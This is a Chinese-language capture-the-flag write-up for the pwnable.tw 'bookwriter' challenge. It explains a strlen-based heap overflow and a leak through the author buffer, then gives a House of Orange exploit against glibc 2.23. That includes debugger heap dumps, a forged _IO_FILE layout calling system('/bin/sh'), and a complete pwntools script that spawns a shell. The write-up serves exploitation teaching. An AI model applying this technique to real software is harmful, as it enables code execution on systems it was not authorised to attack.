pwnable.tw bookwriter writeup - house of orange 的巧妙利用

House of Orange 漏洞的利用,程序中没有free函数,但该程序并不像 House of Orange 原题那样可以任意溢出,所以需要攻击者研究新的利用手段,靶机环境是glibc-2.23。

原题地址:https://pwnable.tw/challenge/

源程序和相关文件下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/pwnable_tw/bookwriter

安全防护

ex@Ex:~/test$ checksec bookwriter
[*] '/home/ex/test/bookwriter'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

其实程序即使开启了 PIE 保护也是不影响该漏洞的利用的。

溢出点

void __cdecl Edit()
{
  unsigned int index; // [rsp+Ch] [rbp-4h]

  printf("Index of page :");
  index = get_uint();
  if ( index > 7 )
  {
    puts("out of page:");
    exit(0);
  }
  if ( ptr[index] )
  {
    printf("Content:");
    read_n(ptr[index], ptr_size[index]);
    ptr_size[index] = strlen(ptr[index]);
    puts("Done !");
  }
  else
  {
    puts("Not found !");
  }
}

Edit函数中,ptr_size[index]的值会根据strlen(ptr[index])而更新,如果我们故意不进行null截断的话,那么我们输入的内容就会和下一个chunk的size黏连,也就意味着只能修改下一个chunk的size的堆溢出。

下面是一个简单的泄露点

void __cdecl set_author()
{
  printf("Author :");
  read_n(author, 0x40u);
}

set_author可以读取长度为0x40的内容,且没有null截断,所以可以泄露出后面ptr的信息。

.bss:0000000000602060 ; char author[64]
.bss:0000000000602060 author          db 40h dup(?)           ; DATA XREF: set_author+18↑o
.bss:0000000000602060                                         ; Information+1Eo
.bss:00000000006020A0 ; char *ptr[8]
.bss:00000000006020A0 ptr             dq 8 dup(?)             ; DATA XREF: Add+1Fr
.bss:00000000006020A0                                         ; Add+A2w ...
.bss:00000000006020E0 ; __int64 ptr_size[8]
.bss:00000000006020E0 ptr_size        dq 8 dup(?)             ; DATA XREF: Add+B1w
.bss:00000000006020E0                                         ; Edit+6Cr ...

思路

由于没有任意堆溢出,所以这里我们需要利用size的变换来实现漏洞的利用。

  1. 泄露heap地址
Add(0x18, '\n')

sh.sendlineafter('Your choice :', '4')
sh.recvuntil('a' * 0x40)
result = sh.recvline()[:-1]
heap_addr = u64(result.ljust(8, '\0')) - 0x1020
log.success('heap_addr: ' + hex(heap_addr))
  1. 压缩heap
Add(0x1fdc0, '\n')

先将heap压缩到一个比较好操作的大小。

  1. 修改top_chunk的size ,为了free掉top_chunk
Edit(1, 'b' * 0x18)
Edit(1, 'b' * 0x18 + p16(0x201))
Add(0xff8, 'a' * 0xf0 + p64(0x1300) + p64(0xf00))

在这里原先top_chunk的size为0x1201,然后我们将其修改为0x201。然后当我们再次申请0xff8大小,原先的top_chunk会被freeunsorted bin中。

  1. 伪造 fake chunk , 为了和 unsorted bin 中的 chunk (上面被free掉top_chunk) 对应,以绕过检查
  2. 修改 unsorted bin 中的 chunk (上面被free掉top_chunk)的size,让其下一个chunk刚好为 fake chunk
Add(0xff8, 'a' * 0xf0 + p64(0x1300) + p64(0xf00)) # fake chunk
Edit(1, 'b' * 0x18 + p16(0x1301))

上面两步是一起的,完成这些操作后,heap会被恢复成完整状态,但其实内部已经overlap

完成这两步后的heap状态如下:

pwndbg> heap
0x6aa000 PREV_INUSE {
  prev_size = 0, 
  size = 4113, 
  fd = 0xa30, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x6ab010 PREV_INUSE {
  prev_size = 0, 
  size = 130513, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x6cade0 FASTBIN {
  prev_size = 0, 
  size = 33, 
  fd = 0x6262626262626262, 
  bk = 0x6262626262626262, 
  fd_nextsize = 0x6262626262626262, 
  bk_nextsize = 0x1301
}
0x6cae00 PREV_INUSE {
  prev_size = 7089336938131513954, 
  size = 4865, 
  fd = 0x7f458d3f0b78 <main_arena+88>, 
  bk = 0x7f458d3f0b78 <main_arena+88>, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x6cc100 {
  prev_size = 4864, 
  size = 3840, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x6cd000 PREV_INUSE {
  prev_size = 0, 
  size = 135169, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
  1. 有 unsorted bin 后可以泄露 main_arena 地址,从而泄露 libc 地址
  2. 将 unsorted bin 压缩到可控范围

上面两步是一起的。

Add(0x1278, 'e' * 8)

View(3)
sh.recvuntil('e' * 8)

result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 0x688
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - libc.symbols['__malloc_hook'] - 0x10
log.success('libc_addr: ' + hex(libc_addr))

执行完成后,我们就可以控制 unsorted bin

下面是调试结果:

pwndbg> pr
0x6020a0:   0x00000000008f0020  0x000000000090fdf0
0x6020b0:   0x0000000000911010  0x000000000090fe10
0x6020c0:   0x0000000000000000  0x0000000000000000
0x6020d0:   0x0000000000000000  0x0000000000000000
0x6020e0:   0x000000000001fdc0  0x000000000000001a
0x6020f0:   0x0000000000000ff8  0x0000000000001278
0x602100:   0x0000000000000000  0x0000000000000000
0x602110:   0x0000000000000000  0x0000000000000000
pwndbg> unsortedbin 
unsortedbin
all: 0x911080 —▸ 0x7f4f5703ab78 (main_arena+88) ◂— 0x911080

可以看出第2个ptr的地址是0x911010而且ptr_size0xff8,其刚好可以控制 unsorted bin0x911080

  1. 构造布局,触发 House of Orange
layout = [
    'z' * 0x70,
    '/bin/sh\0', p64(0x61),
    p64(0), p64(libc_addr + libc.symbols['_IO_list_all'] - 0x10),
    p64(2), p64(3),

    'z' * 8, p64(0), # vtable
    p64(0), p64(libc_addr + libc.symbols['system']),

    'z' * 0x70,
    p64(0), p64(0),
    p64(0), p64(heap_addr + 0x220b0), # vtable_ptr
]

Edit(2, flat(layout))

# pause()
sh.sendlineafter('Your choice :', '1')
sh.sendlineafter('Size of page :', str(8))

这里就是简单的 House of Orange 利用。

完整脚本

由于 House of Orange 受 随机化的影响,成功几率是1/2

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''

    '''

    f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
    f.write(gdb_symbols)
    f.close()
    # os.system('gcc -g  -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so '.replace('{}', salt))
    # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
    print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './bookwriter'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('chall.pwnable.tw', 10304)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# libc = ELF('/glibc/glibc-2.23/debug_x64/lib/libc.so.6')

# Create testorary files for GDB debugging
try:
    gdbscript = '''
    define pr
        x/16gx 0x6020A0
        end
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def Add(size, content):
    sh.sendlineafter('Your choice :', '1')
    sh.sendlineafter('Size of page :', str(size))
    sh.sendafter('Content :', content)

def Edit(index, content):
    sh.sendlineafter('Your choice :', '3')
    sh.sendlineafter('Index of page :', str(index))
    sh.sendafter('Content:', content)

def View(index):
    sh.sendlineafter('Your choice :', '2')
    sh.sendlineafter('Index of page :', str(index))

sh.sendafter('Author :', 'a' * 0x40)
sh.sendlineafter('Your choice :', '4')
sh.sendlineafter('(yes:1 / no:0) ', '0')

Add(0x1fdc0, '\n')
Add(0x18, '\n')

sh.sendlineafter('Your choice :', '4')
sh.recvuntil('a' * 0x40)
result = sh.recvline()[:-1]
heap_addr = u64(result.ljust(8, '\0')) - 0x1020
log.success('heap_addr: ' + hex(heap_addr))

sh.sendlineafter('(yes:1 / no:0) ', '0')

Edit(1, 'b' * 0x18)
Edit(1, 'b' * 0x18 + p16(0x201))
Add(0xff8, 'a' * 0xf0 + p64(0x1300) + p64(0xf00)) # fake chunk
Edit(1, 'b' * 0x18 + p16(0x1301))

Add(0x1278, 'e' * 8)

View(3)
sh.recvuntil('e' * 8)

result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 0x688
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - libc.symbols['__malloc_hook'] - 0x10
log.success('libc_addr: ' + hex(libc_addr))

layout = [
    'z' * 0x70,
    '/bin/sh\0', p64(0x61),
    p64(0), p64(libc_addr + libc.symbols['_IO_list_all'] - 0x10),
    p64(2), p64(3),

    'z' * 8, p64(0), # vtable
    p64(0), p64(libc_addr + libc.symbols['system']),

    'z' * 0x70,
    p64(0), p64(0),
    p64(0), p64(heap_addr + 0x220b0), # vtable_ptr
]

Edit(2, flat(layout))

# pause()
sh.sendlineafter('Your choice :', '1')
sh.sendlineafter('Size of page :', str(8))

sh.sendline('echo -n hello')
if(sh.recvn(5) != 'hello'):
    raise Exception('no shell')

sh.interactive()
clear()